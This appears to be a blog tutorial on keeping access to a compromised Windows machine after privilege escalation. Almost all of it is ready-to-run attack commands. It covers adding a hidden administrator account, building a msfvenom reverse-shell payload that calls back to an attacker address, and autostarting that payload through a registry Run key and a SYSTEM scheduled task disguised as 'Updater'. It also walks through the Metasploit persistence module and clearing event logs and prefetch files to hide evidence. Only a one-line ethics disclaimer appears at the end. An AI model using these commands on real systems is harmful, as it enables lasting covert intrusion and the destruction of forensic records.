You exploited a vulnerability and gained SYSTEM access. But a shell dies on reboot. Maintaining Access in Privilege Escalation ensures you stay in. Here are five essential techniques with practical examples.
Technique 1: Hidden User Account
Create a backdoor admin account using Windows commands.
net user backdoor Pass@123 /add
net localgroup administrators backdoor /add
Verify with net user backdoor. Attackers use this for remote login persistence.
Technique 2: Registry Run Key
Make your payload launch at every startup.
First, generate a backdoor using msfvenom.
- msfvenom p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 f exe > backdoor.exe
- Upload it via Meterpreter.
- upload backdoor.exe C:\\
- Then add a registry key.
- reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v updater /t REG_SZ /d “C:\backdoor.exe”
After reboot, your backdoor runs automatically.
Technique 3: Scheduled Task
For SYSTEM-level persistence even before login.
- schtasks /create /tn “Updater” /tr “C:\backdoor.exe” /sc onlogon /ru SYSTEM
This task survives reboots and gives high privilege access.
Technique 4: Metasploit Persistence Module
Automated persistence using Metasploit.
Inside Meterpreter, background session with Ctrl+Z. Then run:
- use exploit/windows/local/persistence
- set SESSION 1
- set LHOST 192.168.56.102
- set LPORT 4444
- set STARTUP SYSTEM
- exploit
On a second terminal, start a handler.
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- run
Reboot the target. You get a new session automatically.
Technique 5: Covering Tracks
Clear event logs to hide evidence.
From Windows shell:
- wevtutil cl Security
- wevtutil cl Application
- wevtutil cl System
From Meterpreter, a single command works.
- clear
Delete prefetch and temporary files.
- del C:\Windows\Prefetch\*.*
- del %temp%\*.* /s /q
- del C:\Users\<User>\Recent\*.* /q
Lab Practice
Build two VMs: Kali Linux attacker and Windows target. Reboot after installing persistence. Watch your handler receive a new session. This proves that maintaining access works.
Conclusion
Mastering Maintaining Access in Privilege Escalation separates beginners from professionals. Use these tools only on authorized systems. Stay ethical. Keep learning.

